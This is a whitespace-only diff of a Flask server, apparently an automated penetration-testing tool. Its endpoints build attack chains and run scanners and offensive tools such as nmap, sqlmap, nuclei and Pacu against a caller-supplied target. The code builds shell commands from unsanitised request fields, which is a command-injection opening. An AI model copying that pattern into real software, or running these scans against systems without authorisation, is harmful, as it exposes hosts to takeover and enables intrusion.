         logger.error(f"💥 Error getting process dashboard: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7603,16 +7603,16 @@ def create_vulnerability_card():
         data = request.get_json()
         if not data:
             return jsonify({"error": "No data provided"}), 400
-        
+
         # Create vulnerability card
         card = ModernVisualEngine.render_vulnerability_card(data)
-        
+
         return jsonify({
             "success": True,
             "vulnerability_card": card,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating vulnerability card: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7624,16 +7624,16 @@ def create_summary_report():
         data = request.get_json()
         if not data:
             return jsonify({"error": "No data provided"}), 400
-        
+
         # Create summary report
         report = ModernVisualEngine.create_summary_report(data)
-        
+
         return jsonify({
             "success": True,
             "summary_report": report,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating summary report: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7645,20 +7645,20 @@ def format_tool_output():
         data = request.get_json()
         if not data or 'tool' not in data or 'output' not in data:
             return jsonify({"error": "Tool and output data required"}), 400
-        
+
         tool = data['tool']
         output = data['output']
         success = data.get('success', True)
-        
+
         # Format tool output
         formatted_output = ModernVisualEngine.format_tool_output(tool, output, success)
-        
+
         return jsonify({
             "success": True,
             "formatted_output": formatted_output,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error formatting tool output: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7674,22 +7674,22 @@ def analyze_target():
         data = request.get_json()
         if not data or 'target' not in data:
             return jsonify({"error": "Target is required"}), 400
-        
+
         target = data['target']
         logger.info(f"🧠 Analyzing target: {target}")
-        
+
         # Use the decision engine to analyze the target
         profile = decision_engine.analyze_target(target)
-        
+
         logger.info(f"✅ Target analysis completed for {target}")
         logger.info(f"📊 Target type: {profile.target_type.value}, Risk level: {profile.risk_level}")
-        
+
         return jsonify({
             "success": True,
             "target_profile": profile.to_dict(),
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error analyzing target: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7701,20 +7701,20 @@ def select_optimal_tools():
         data = request.get_json()
         if not data or 'target' not in data:
             return jsonify({"error": "Target is required"}), 400
-        
+
         target = data['target']
         objective = data.get('objective', 'comprehensive')  # comprehensive, quick, stealth
-        
+
         logger.info(f"🎯 Selecting optimal tools for {target} with objective: {objective}")
-        
+
         # Analyze target first
         profile = decision_engine.analyze_target(target)
-        
+
         # Select optimal tools
         selected_tools = decision_engine.select_optimal_tools(profile, objective)
-        
+
         logger.info(f"✅ Selected {len(selected_tools)} tools for {target}")
-        
+
         return jsonify({
             "success": True,
             "target": target,
@@ -7724,7 +7724,7 @@ def select_optimal_tools():
             "tool_count": len(selected_tools),
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error selecting tools: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7736,21 +7736,21 @@ def optimize_tool_parameters():
         data = request.get_json()
         if not data or 'target' not in data or 'tool' not in data:
             return jsonify({"error": "Target and tool are required"}), 400
-        
+
         target = data['target']
         tool = data['tool']
         context = data.get('context', {})
-        
+
         logger.info(f"⚙️  Optimizing parameters for {tool} against {target}")
-        
+
         # Analyze target first
         profile = decision_engine.analyze_target(target)
-        
+
         # Optimize parameters
         optimized_params = decision_engine.optimize_parameters(tool, profile, context)
-        
+
         logger.info(f"✅ Parameters optimized for {tool}")
-        
+
         return jsonify({
             "success": True,
             "target": target,
@@ -7760,7 +7760,7 @@ def optimize_tool_parameters():
             "optimized_parameters": optimized_params,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error optimizing parameters: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7772,21 +7772,21 @@ def create_attack_chain():
         data = request.get_json()
         if not data or 'target' not in data:
             return jsonify({"error": "Target is required"}), 400
-        
+
         target = data['target']
         objective = data.get('objective', 'comprehensive')
-        
+
         logger.info(f"⚔️  Creating attack chain for {target} with objective: {objective}")
-        
+
         # Analyze target first
         profile = decision_engine.analyze_target(target)
-        
+
         # Create attack chain
         attack_chain = decision_engine.create_attack_chain(profile, objective)
-        
+
         logger.info(f"✅ Attack chain created with {len(attack_chain.steps)} steps")
         logger.info(f"📊 Success probability: {attack_chain.success_probability:.2f}, Estimated time: {attack_chain.estimated_time}s")
-        
+
         return jsonify({
             "success": True,
             "target": target,
@@ -7795,7 +7795,7 @@ def create_attack_chain():
             "attack_chain": attack_chain.to_dict(),
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating attack chain: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -7807,19 +7807,19 @@ def intelligent_smart_scan():
         data = request.get_json()
         if not data or 'target' not in data:
             return jsonify({"error": "Target is required"}), 400
-        
+
         target = data['target']
         objective = data.get('objective', 'comprehensive')
         max_tools = data.get('max_tools', 5)
-        
+
         logger.info(f"🚀 Starting intelligent smart scan for {target}")
-        
+
         # Analyze target
         profile = decision_engine.analyze_target(target)
-        
+
         # Select optimal tools
         selected_tools = decision_engine.select_optimal_tools(profile, objective)[:max_tools]
-        
+
         # Execute tools in parallel with real tool execution
         scan_results = {
             "target": target,
@@ -7829,15 +7829,15 @@ def intelligent_smart_scan():
             "execution_summary": {},
             "combined_output": ""
         }
-        
+
         def execute_single_tool(tool_name, target, profile):
             """Execute a single tool and return results"""
             try:
                 logger.info(f"🔧 Executing {tool_name} with optimized parameters")
-                
+
                 # Get optimized parameters for this tool
                 optimized_params = decision_engine.optimize_parameters(tool_name, profile)
-                
+
                 # Map tool names to their actual execution functions
                 tool_execution_map = {
                     'nmap': lambda: execute_nmap_scan(target, optimized_params),
@@ -7857,11 +7857,11 @@ def intelligent_smart_scan():
                     'amass': lambda: execute_amass_scan(target, optimized_params),
                     'subfinder': lambda: execute_subfinder_scan(target, optimized_params)
                 }
-                
+
                 # Execute the tool if we have a mapping for it
                 if tool_name in tool_execution_map:
                     result = tool_execution_map[tool_name]()
-                    
+
                     # Extract vulnerability count from result
                     vuln_count = 0
                     if result.get('success') and result.get('stdout'):
@@ -7869,7 +7869,7 @@ def intelligent_smart_scan():
                         output = result.get('stdout', '')
                         vuln_indicators = ['CRITICAL', 'HIGH', 'MEDIUM', 'VULNERABILITY', 'EXPLOIT', 'SQL injection', 'XSS', 'CSRF']
                         vuln_count = sum(1 for indicator in vuln_indicators if indicator.lower() in output.lower())
-                    
+
                     return {
                         "tool": tool_name,
                         "parameters": optimized_params,
@@ -7892,7 +7892,7 @@ def intelligent_smart_scan():
                         "error": f"Tool {tool_name} not implemented in execution map",
                         "success": False
                     }
-                    
+
             except Exception as e:
                 logger.error(f"❌ Error executing {tool_name}: {str(e)}")
                 return {
@@ -7902,34 +7902,34 @@ def intelligent_smart_scan():
                     "error": str(e),
                     "success": False
                 }
-        
+
         # Execute tools in parallel using ThreadPoolExecutor
         with ThreadPoolExecutor(max_workers=min(len(selected_tools), 5)) as executor:
             # Submit all tool executions
             future_to_tool = {
-                executor.submit(execute_single_tool, tool, target, profile): tool 
+                executor.submit(execute_single_tool, tool, target, profile): tool
                 for tool in selected_tools
             }
-            
+
             # Collect results as they complete
             for future in future_to_tool:
                 tool_result = future.result()
                 scan_results["tools_executed"].append(tool_result)
-                
+
                 # Accumulate vulnerability count
                 if tool_result.get("vulnerabilities_found"):
                     scan_results["total_vulnerabilities"] += tool_result["vulnerabilities_found"]
-                
+
                 # Combine outputs
                 if tool_result.get("stdout"):
                     scan_results["combined_output"] += f"\n=== {tool_result['tool'].upper()} OUTPUT ===\n"
                     scan_results["combined_output"] += tool_result["stdout"]
                     scan_results["combined_output"] += "\n" + "="*50 + "\n"
-        
+
         # Create execution summary
         successful_tools = [t for t in scan_results["tools_executed"] if t.get("success")]
         failed_tools = [t for t in scan_results["tools_executed"] if not t.get("success")]
-        
+
         scan_results["execution_summary"] = {
             "total_tools": len(selected_tools),
             "successful_tools": len(successful_tools),
@@ -7938,16 +7938,16 @@ def intelligent_smart_scan():
             "total_execution_time": sum(t.get("execution_time", 0) for t in scan_results["tools_executed"]),
             "tools_used": [t["tool"] for t in successful_tools]
         }
-        
+
         logger.info(f"✅ Intelligent smart scan completed for {target}")
         logger.info(f"📊 Results: {len(successful_tools)}/{len(selected_tools)} tools successful, {scan_results['total_vulnerabilities']} vulnerabilities found")
-        
+
         return jsonify({
             "success": True,
             "scan_results": scan_results,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in intelligent smart scan: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}", "success": False}), 500
@@ -7959,7 +7959,7 @@ def execute_nmap_scan(target, params):
         scan_type = params.get('scan_type', '-sV')
         ports = params.get('ports', '')
         additional_args = params.get('additional_args', '')
-        
+
         # Build nmap command
         cmd_parts = ['nmap', scan_type]
         if ports:
@@ -7967,7 +7967,7 @@ def execute_nmap_scan(target, params):
         if additional_args:
             cmd_parts.extend(additional_args.split())
         cmd_parts.append(target)
-        
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -7978,11 +7978,11 @@ def execute_gobuster_scan(target, params):
         mode = params.get('mode', 'dir')
         wordlist = params.get('wordlist', '/usr/share/wordlists/dirb/common.txt')
         additional_args = params.get('additional_args', '')
-        
+
         cmd_parts = ['gobuster', mode, '-u', target, '-w', wordlist]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -7993,7 +7993,7 @@ def execute_nuclei_scan(target, params):
         severity = params.get('severity', '')
         tags = params.get('tags', '')
         additional_args = params.get('additional_args', '')
-        
+
         cmd_parts = ['nuclei', '-u', target]
         if severity:
             cmd_parts.extend(['-severity', severity])
@@ -8001,7 +8001,7 @@ def execute_nuclei_scan(target, params):
             cmd_parts.extend(['-tags', tags])
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8013,7 +8013,7 @@ def execute_nikto_scan(target, params):
         cmd_parts = ['nikto', '-h', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8025,7 +8025,7 @@ def execute_sqlmap_scan(target, params):
         cmd_parts = ['sqlmap', '-u', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8035,15 +8035,15 @@ def execute_ffuf_scan(target, params):
     try:
         wordlist = params.get('wordlist', '/usr/share/wordlists/dirb/common.txt')
         additional_args = params.get('additional_args', '')
-        
+
         # Ensure target has FUZZ placeholder
         if 'FUZZ' not in target:
             target = target.rstrip('/') + '/FUZZ'
-            
+
         cmd_parts = ['ffuf', '-u', target, '-w', wordlist]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8053,11 +8053,11 @@ def execute_feroxbuster_scan(target, params):
     try:
         wordlist = params.get('wordlist', '/usr/share/wordlists/dirb/common.txt')
         additional_args = params.get('additional_args', '')
-        
+
         cmd_parts = ['feroxbuster', '-u', target, '-w', wordlist]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8069,7 +8069,7 @@ def execute_katana_scan(target, params):
         cmd_parts = ['katana', '-u', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8080,7 +8080,7 @@ def execute_httpx_scan(target, params):
         additional_args = params.get('additional_args', '-tech-detect -status-code')
         # Use shell command with pipe for httpx
         cmd = f"echo {target} | httpx {additional_args}"
-        
+
         return execute_command(cmd)
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8092,7 +8092,7 @@ def execute_wpscan_scan(target, params):
         cmd_parts = ['wpscan', '--url', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8104,7 +8104,7 @@ def execute_dirsearch_scan(target, params):
         cmd_parts = ['dirsearch', '-u', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8116,7 +8116,7 @@ def execute_arjun_scan(target, params):
         cmd_parts = ['arjun', '-u', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8128,7 +8128,7 @@ def execute_paramspider_scan(target, params):
         cmd_parts = ['paramspider', '-d', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8140,7 +8140,7 @@ def execute_dalfox_scan(target, params):
         cmd_parts = ['dalfox', 'url', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8152,7 +8152,7 @@ def execute_amass_scan(target, params):
         cmd_parts = ['amass', 'enum', '-d', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8164,7 +8164,7 @@ def execute_subfinder_scan(target, params):
         cmd_parts = ['subfinder', '-d', target]
         if additional_args:
             cmd_parts.extend(additional_args.split())
-            
+
         return execute_command(' '.join(cmd_parts))
     except Exception as e:
         return {"success": False, "error": str(e)}
@@ -8176,14 +8176,14 @@ def detect_technologies():
         data = request.get_json()
         if not data or 'target' not in data:
             return jsonify({"error": "Target is required"}), 400
-        
+
         target = data['target']
-        
+
         logger.info(f"🔍 Detecting technologies for {target}")
-        
+
         # Analyze target
         profile = decision_engine.analyze_target(target)
-        
+
         # Get technology-specific recommendations
         tech_recommendations = {}
         for tech in profile.technologies:
@@ -8205,9 +8205,9 @@ def detect_technologies():
                     "focus_areas": ["prototype pollution", "dependency vulnerabilities"],
                     "priority": "medium"
                 }
-        
+
         logger.info(f"✅ Technology detection completed for {target}")
-        
+
         return jsonify({
             "success": True,
             "target": target,
@@ -8217,7 +8217,7 @@ def detect_technologies():
             "target_profile": profile.to_dict(),
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in technology detection: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -8233,14 +8233,14 @@ def create_reconnaissance_workflow():
         data = request.get_json()
         if not data or 'domain' not in data:
             return jsonify({"error": "Domain is required"}), 400
-        
+
         domain = data['domain']
         scope = data.get('scope', [])
         out_of_scope = data.get('out_of_scope', [])
         program_type = data.get('program_type', 'web')
-        
+
         logger.info(f"🎯 Creating reconnaissance workflow for {domain}")
-        
+
         # Create bug bounty target
         target = BugBountyTarget(
             domain=domain,
@@ -8248,18 +8248,18 @@ def create_reconnaissance_workflow():
             out_of_scope=out_of_scope,
             program_type=program_type
         )
-        
+
         # Generate reconnaissance workflow
         workflow = bugbounty_manager.create_reconnaissance_workflow(target)
-        
+
         logger.info(f"✅ Reconnaissance workflow created for {domain}")
-        
+
         return jsonify({
             "success": True,
             "workflow": workflow,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating reconnaissance workflow: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -8271,31 +8271,31 @@ def create_vulnerability_hunting_workflow():
         data = request.get_json()
         if not data or 'domain' not in data:
             return jsonify({"error": "Domain is required"}), 400
-        
+
         domain = data['domain']
         priority_vulns = data.get('priority_vulns', ["rce", "sqli", "xss", "idor", "ssrf"])
         bounty_range = data.get('bounty_range', 'unknown')
-        
+
         logger.info(f"🎯 Creating vulnerability hunting workflow for {domain}")
-        
+
         # Create bug bounty target
         target = BugBountyTarget(
             domain=domain,
             priority_vulns=priority_vulns,
             bounty_range=bounty_range
         )
-        
+
         # Generate vulnerability hunting workflow
         workflow = bugbounty_manager.create_vulnerability_hunting_workflow(target)
-        
+
         logger.info(f"✅ Vulnerability hunting workflow created for {domain}")
-        
+
         return jsonify({
             "success": True,
             "workflow": workflow,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating vulnerability hunting workflow: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -8307,26 +8307,26 @@ def create_business_logic_workflow():
         data = request.get_json()
         if not data or 'domain' not in data:
             return jsonify({"error": "Domain is required"}), 400
-        
+
         domain = data['domain']
         program_type = data.get('program_type', 'web')
-        
+
         logger.info(f"🎯 Creating business logic testing workflow for {domain}")
-        
+
         # Create bug bounty target
         target = BugBountyTarget(domain=domain, program_type=program_type)
-        
+
         # Generate business logic testing workflow
         workflow = bugbounty_manager.create_business_logic_testing_workflow(target)
-        
+
         logger.info(f"✅ Business logic testing workflow created for {domain}")
-        
+
         return jsonify({
             "success": True,
             "workflow": workflow,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating business logic workflow: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -8338,25 +8338,25 @@ def create_osint_workflow():
         data = request.get_json()
         if not data or 'domain' not in data:
             return jsonify({"error": "Domain is required"}), 400
-        
+
         domain = data['domain']
-        
+
         logger.info(f"🎯 Creating OSINT workflow for {domain}")
-        
+
         # Create bug bounty target
         target = BugBountyTarget(domain=domain)
-        
+
         # Generate OSINT workflow
         workflow = bugbounty_manager.create_osint_workflow(target)
-        
+
         logger.info(f"✅ OSINT workflow created for {domain}")
-        
+
         return jsonify({
             "success": True,
             "workflow": workflow,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating OSINT workflow: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -8368,26 +8368,26 @@ def create_file_upload_testing():
         data = request.get_json()
         if not data or 'target_url' not in data:
             return jsonify({"error": "Target URL is required"}), 400
-        
+
         target_url = data['target_url']
-        
+
         logger.info(f"🎯 Creating file upload testing workflow for {target_url}")
-        
+
         # Generate file upload testing workflow
         workflow = fileupload_framework.create_upload_testing_workflow(target_url)
-        
+
         # Generate test files
         test_files = fileupload_framework.generate_test_files()
         workflow["test_files"] = test_files
-        
+
         logger.info(f"✅ File upload testing workflow created for {target_url}")
-        
+
         return jsonify({
             "success": True,
             "workflow": workflow,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating file upload testing workflow: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -8399,54 +8399,54 @@ def create_comprehensive_bugbounty_assessment():
         data = request.get_json()
         if not data or 'domain' not in data:
             return jsonify({"error": "Domain is required"}), 400
-        
+
         domain = data['domain']
         scope = data.get('scope', [])
         priority_vulns = data.get('priority_vulns', ["rce", "sqli", "xss", "idor", "ssrf"])
         include_osint = data.get('include_osint', True)
         include_business_logic = data.get('include_business_logic', True)
-        
+
         logger.info(f"🎯 Creating comprehensive bug bounty assessment for {domain}")
-        
+
         # Create bug bounty target
         target = BugBountyTarget(
             domain=domain,
             scope=scope,
             priority_vulns=priority_vulns
         )
-        
+
         # Generate all workflows
         assessment = {
             "target": domain,
             "reconnaissance": bugbounty_manager.create_reconnaissance_workflow(target),
             "vulnerability_hunting": bugbounty_manager.create_vulnerability_hunting_workflow(target)
         }
-        
+
         if include_osint:
             assessment["osint"] = bugbounty_manager.create_osint_workflow(target)
-        
+
         if include_business_logic:
             assessment["business_logic"] = bugbounty_manager.create_business_logic_testing_workflow(target)
-        
+
         # Calculate total estimates
         total_time = sum(workflow.get("estimated_time", 0) for workflow in assessment.values() if isinstance(workflow, dict))
         total_tools = sum(workflow.get("tools_count", 0) for workflow in assessment.values() if isinstance(workflow, dict))
-        
+
         assessment["summary"] = {
             "total_estimated_time": total_time,
             "total_tools": total_tools,
             "workflow_count": len([k for k in assessment.keys() if k != "target"]),
             "priority_score": assessment["vulnerability_hunting"].get("priority_score", 0)
         }
-        
+
         logger.info(f"✅ Comprehensive bug bounty assessment created for {domain}")
-        
+
         return jsonify({
             "success": True,
             "assessment": assessment,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating comprehensive assessment: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -8465,25 +8465,25 @@ def nmap():
         ports = params.get("ports", "")
         additional_args = params.get("additional_args", "-T4 -Pn")
         use_recovery = params.get("use_recovery", True)
-        
+
         if not target:
             logger.warning("🎯 Nmap called without target parameter")
             return jsonify({
                 "error": "Target parameter is required"
             }), 400
-        
+
         command = f"nmap {scan_type}"
-        
+
         if ports:
             command += f" -p {ports}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         command += f" {target}"
-        
+
         logger.info(f"🔍 Starting Nmap scan: {target}")
-        
+
         # Use intelligent error handling if enabled
         if use_recovery:
             tool_params = {
@@ -8495,10 +8495,10 @@ def nmap():
             result = execute_command_with_recovery("nmap", command, tool_params)
         else:
             result = execute_command(command)
-        
+
         logger.info(f"📊 Nmap scan completed for {target}")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error in nmap endpoint: {str(e)}")
         return jsonify({
@@ -8515,27 +8515,27 @@ def gobuster():
         wordlist = params.get("wordlist", "/usr/share/wordlists/dirb/common.txt")
         additional_args = params.get("additional_args", "")
         use_recovery = params.get("use_recovery", True)
-        
+
         if not url:
             logger.warning("🌐 Gobuster called without URL parameter")
             return jsonify({
                 "error": "URL parameter is required"
             }), 400
-        
+
         # Validate mode
         if mode not in ["dir", "dns", "fuzz", "vhost"]:
             logger.warning(f"❌ Invalid gobuster mode: {mode}")
             return jsonify({
                 "error": f"Invalid mode: {mode}. Must be one of: dir, dns, fuzz, vhost"
             }), 400
-        
+
         command = f"gobuster {mode} -u {url} -w {wordlist}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"📁 Starting Gobuster {mode} scan: {url}")
-        
+
         # Use intelligent error handling if enabled
         if use_recovery:
             tool_params = {
@@ -8547,10 +8547,10 @@ def gobuster():
             result = execute_command_with_recovery("gobuster", command, tool_params)
         else:
             result = execute_command(command)
-        
+
         logger.info(f"📊 Gobuster scan completed for {url}")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error in gobuster endpoint: {str(e)}")
         return jsonify({
@@ -8568,29 +8568,29 @@ def nuclei():
         template = params.get("template", "")
         additional_args = params.get("additional_args", "")
         use_recovery = params.get("use_recovery", True)
-        
+
         if not target:
             logger.warning("🎯 Nuclei called without target parameter")
             return jsonify({
                 "error": "Target parameter is required"
             }), 400
-        
+
         command = f"nuclei -u {target}"
-        
+
         if severity:
             command += f" -severity {severity}"
-            
+
         if tags:
             command += f" -tags {tags}"
-            
+
         if template:
             command += f" -t {template}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔬 Starting Nuclei vulnerability scan: {target}")
-        
+
         # Use intelligent error handling if enabled
         if use_recovery:
             tool_params = {
@@ -8603,10 +8603,10 @@ def nuclei():
             result = execute_command_with_recovery("nuclei", command, tool_params)
         else:
             result = execute_command(command)
-        
+
         logger.info(f"📊 Nuclei scan completed for {target}")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error in nuclei endpoint: {str(e)}")
         return jsonify({
@@ -8629,27 +8629,27 @@ def prowler():
         output_dir = params.get("output_dir", "/tmp/prowler_output")
         output_format = params.get("output_format", "json")
         additional_args = params.get("additional_args", "")
-        
+
         # Ensure output directory exists
         Path(output_dir).mkdir(parents=True, exist_ok=True)
-        
+
         command = f"prowler {provider}"
-        
+
         if profile:
             command += f" --profile {profile}"
-            
+
         if region:
             command += f" --region {region}"
-            
+
         if checks:
             command += f" --checks {checks}"
-            
+
         command += f" --output-directory {output_dir}"
         command += f" --output-format {output_format}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"☁️  Starting Prowler {provider} security assessment")
         result = execute_command(command)
         result["output_directory"] = output_dir
@@ -8672,27 +8672,27 @@ def trivy():
         severity = params.get("severity", "")
         output_file = params.get("output_file", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 Trivy called without target parameter")
             return jsonify({
                 "error": "Target parameter is required"
             }), 400
-        
+
         command = f"trivy {scan_type} {target}"
-        
+
         if output_format:
             command += f" --format {output_format}"
-            
+
         if severity:
             command += f" --severity {severity}"
-            
+
         if output_file:
             command += f" --output {output_file}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Trivy {scan_type} scan: {target}")
         result = execute_command(command)
         if output_file:
@@ -8720,26 +8720,26 @@ def scout_suite():
         services = params.get("services", "")
         exceptions = params.get("exceptions", "")
         additional_args = params.get("additional_args", "")
-        
+
         # Ensure report directory exists
         Path(report_dir).mkdir(parents=True, exist_ok=True)
-        
+
         command = f"scout {provider}"
-        
+
         if profile and provider == "aws":
             command += f" --profile {profile}"
-        
+
         if services:
             command += f" --services {services}"
-        
+
         if exceptions:
             command += f" --exceptions {exceptions}"
-        
+
         command += f" --report-dir {report_dir}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"☁️  Starting Scout Suite {provider} assessment")
         result = execute_command(command)
         result["report_directory"] = report_dir
@@ -8758,22 +8758,22 @@ def cloudmapper():
         account = params.get("account", "")
         config = params.get("config", "config.json")
         additional_args = params.get("additional_args", "")
-        
+
         if not account and action != "webserver":
             logger.warning("☁️  CloudMapper called without account parameter")
             return jsonify({"error": "Account parameter is required for most actions"}), 400
-        
+
         command = f"cloudmapper {action}"
-        
+
         if account:
             command += f" --account {account}"
-        
+
         if config:
             command += f" --config {config}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"☁️  Starting CloudMapper {action}")
         result = execute_command(command)
         logger.info(f"📊 CloudMapper {action} completed")
@@ -8792,42 +8792,42 @@ def pacu():
         data_services = params.get("data_services", "")
         regions = params.get("regions", "")
         additional_args = params.get("additional_args", "")
-        
+
         # Create Pacu command sequence
         commands = []
         commands.append(f"set_session {session_name}")
-        
+
         if data_services:
             commands.append(f"data {data_services}")
-        
+
         if regions:
             commands.append(f"set_regions {regions}")
-        
+
         if modules:
             for module in modules.split(","):
                 commands.append(f"run {module.strip()}")
-        
+
         commands.append("exit")
-        
+
         # Create command file
         command_file = "/tmp/pacu_commands.txt"
         with open(command_file, "w") as f:
             f.write("\n".join(commands))
-        
+
         command = f"pacu < {command_file}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"☁️  Starting Pacu AWS exploitation")
         result = execute_command(command)
-        
+
         # Cleanup
         try:
             os.remove(command_file)
         except:
             pass
-        
+
         logger.info(f"📊 Pacu exploitation completed")
         return jsonify(result)
     except Exception as e:
@@ -8846,9 +8846,9 @@ def kube_hunter():
         active = params.get("active", False)
         report = params.get("report", "json")
         additional_args = params.get("additional_args", "")
-        
+
         command = "kube-hunter"
-        
+
         if target:
             command += f" --remote {target}"
         elif remote:
@@ -8860,16 +8860,16 @@ def kube_hunter():
         else:
             # Default to pod scanning
             command += " --pod"
-        
+
         if active:
             command += " --active"
-        
+
         if report:
             command += f" --report {report}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"☁️  Starting kube-hunter Kubernetes scan")
         result = execute_command(command)
         logger.info(f"📊 kube-hunter scan completed")
@@ -8888,24 +8888,24 @@ def kube_bench():
         config_dir = params.get("config_dir", "")
         output_format = params.get("output_format", "json")
         additional_args = params.get("additional_args", "")
-        
+
         command = "kube-bench"
-        
+
         if targets:
             command += f" --targets {targets}"
-        
+
         if version:
             command += f" --version {version}"
-        
+
         if config_dir:
             command += f" --config-dir {config_dir}"
-        
+
         if output_format:
             command += f" --outputfile /tmp/kube-bench-results.{output_format} --json"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"☁️  Starting kube-bench CIS benchmark")
         result = execute_command(command)
         logger.info(f"📊 kube-bench benchmark completed")
@@ -8923,21 +8923,21 @@ def docker_bench_security():
         exclude = params.get("exclude", "")  # Checks to exclude
         output_file = params.get("output_file", "/tmp/docker-bench-results.json")
         additional_args = params.get("additional_args", "")
-        
+
         command = "docker-bench-security"
-        
+
         if checks:
             command += f" -c {checks}"
-        
+
         if exclude:
             command += f" -e {exclude}"
-        
+
         if output_file:
             command += f" -l {output_file}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🐳 Starting Docker Bench Security assessment")
         result = execute_command(command)
         result["output_file"] = output_file
@@ -8956,23 +8956,23 @@ def clair():
         config = params.get("config", "/etc/clair/config.yaml")
         output_format = params.get("output_format", "json")
         additional_args = params.get("additional_args", "")
-        
